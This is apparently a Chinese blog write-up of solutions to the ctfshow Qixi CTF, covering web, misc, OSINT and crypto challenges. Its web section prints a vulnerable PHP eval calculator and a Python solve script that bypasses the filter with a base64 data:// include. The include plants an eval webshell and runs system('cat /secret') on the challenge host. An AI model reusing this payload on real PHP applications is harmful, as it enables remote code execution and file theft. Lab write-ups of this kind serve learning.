当前位置:网站首页>ctfshow七夕杯复现
ctfshow七夕杯复现
2022-08-08 16:11:00 【Msaerati】
web
web签到
七字符rce
CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_OceanSec的博客-CSDN博客
一点一点拼shell
easy_calc
<?php
if(check($code)){
eval('$result='."$code".";");
echo($result);
}
function check(&$code){
$num1=$_POST['num1'];
$symbol=$_POST['symbol'];
$num2=$_POST['num2'];
if(!isset($num1) || !isset($num2) || !isset($symbol) ){
return false;
}
if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
return false;
}
if(preg_match("/^[\+\-\*\/]$/", $symbol)){
$code = "$num1$symbol$num2";
return true;
}
return false;
}
从题目代码来看,是输入3个值,分别是num1、符合值、num2
然后过滤了一大堆符号,这种就是最直接的提示,没过滤哪个,就用哪个
然后把3个值拼接起来进行执行
既然是eval就是代码执行,但是又不能用括号,那么只能用不用括号的函数了,那么答案很显然
php中不需要括号使用的函数,叫做语言结构,常见的有include、require、echo等
那么思路有了,要使用include来执行代码,那么显而易见,肯定要用到伪协议了
我们只需要构造出一个data的伪协议看看
正常的伪协议包含是这样的
include "data://text/plain,<?php phpinfo();?>"
但是呢,题目不能用括号和< 随意需要对执行的代码进行编码
使用data协议的第二种写法
include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
观察符号,刚好都在可以用的范围之内
可以拆分给三个变量分别复制
$num1 = "include data:/"; $symbol = "/"; $num2 = "text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+" $num1$symbol$sum2="include data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
上一把梭脚本
import requests
__AUTHOR__ = "h1xa"
url = "http://4d184567-5c8c-4802-b2d9-6af9e9e4e93e.challenge.ctf.show/"
def getFlag():
data={
"num1":'include "data:ctfshow',
"symbol":"/",
"num2":'b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";'
}
response = requests.post(url=url+"?1=system('cat /secret');die();",data=data)
print(response.text)
if __name__ == '__main__':
getFlag()
misc
杂项签到
直接放入010看最后得到flag
你会lsb吗
得到一个没有后缀的文件,放到010查看
可以看到是字符倒叙了,用脚本翻转过来
import re
import binascii
def read_file(filepath):
with open(filepath,'rb') as fp:
content=fp.read();
return content
a = read_file('zip')
hexstr = str(binascii.b2a_hex(a))
hexstr = re.findall("b'(.*?)'",hexstr)[0]
result = []
result.append(re.findall(r'.{2}', hexstr))
result = result[0]
daoxu = result[::-1]
hex= ''
for i in daoxu:
hex +=i
print(hex)
放入010中得到一个压缩包。里面有一个png文件,zsteg梭一下
得到一个ctfshow,题目说是lsb,猜测是lsb加密隐写,ctfshow为key解密得到
猜测是emoji-aes
key为ctfshow,偏移量为2得到flag
OSINT
社工签到
百度识图
天涯小镇
迷失的大象
百度识图发现
搜索普洱市墨江县得到
大飞机
百度后知道了飞机型号和时间,搜索后得到航班号
CRYPTO
密码签到
已知密文由两部分组成,后面的推测为秘钥
密文如下:
y3rmc2hvd3tjcnlwdg9fc2lnbmlux2lzx2vhc3l9-a0004008a0
边栏推荐
猜你喜欢
vs2只运行项目中的一个文件
跟我一起来学弹性云服务器ECS【华为云至简致远】
The realization of the salary slip issuing function of WeChat public account + web background
OpenAI怎么写作「谷歌小发猫写作」
【Unity入门计划】用双血条方法控制伤害区域减血速度
Kubernetes二进制部署高可用集群
全网首发!消息中间件神仙笔记,涵盖阿里十年技术精髓
Guanghong Technology: The company provides manufacturing services for Xiaomi, Samsung, OPPO, Nokia and other products in India
京东T9纯手打688页神笔记,SSM框架整合Redis搭建高效互联网应用
【有奖征文 第13期】至简致远,“云”响世界,大胆秀出你的华为云技术主张,高额激励等你拿
随机推荐
codeforces 444C DZY Loves Colors
C语言学习概览(六)
使用 Pygame 构建和可视化数独游戏
Thread local storage ThreadLocal
jupyter notebook hide & show all output
微信公众号+web后台的工资条发放功能的实现
基于FTP协议的Excel文件上传与下载
用于视觉语言导航的自监督三维语义表示学习
线程本地存储 ThreadLocal
C#/VB.NET 将PDF转为PDF/X-1a:2001
Kubernetes资源编排系列之四: CRD+Operator篇
Grafana配置LDAP认证
快速排序(C语言版)
如何制作网页
jupyter notebook 隐藏&显示全部输出内容
2020年适用于Linux的10个顶级开源缓存工具
OpenAI怎么写作「谷歌小发猫写作」
【MATLAB项目实战】基于Morlet小波变换的滚动轴承故障特征提取研究
leetcode/number of palindromic substrings
跟我一起来学弹性云服务器ECS【华为云至简致远】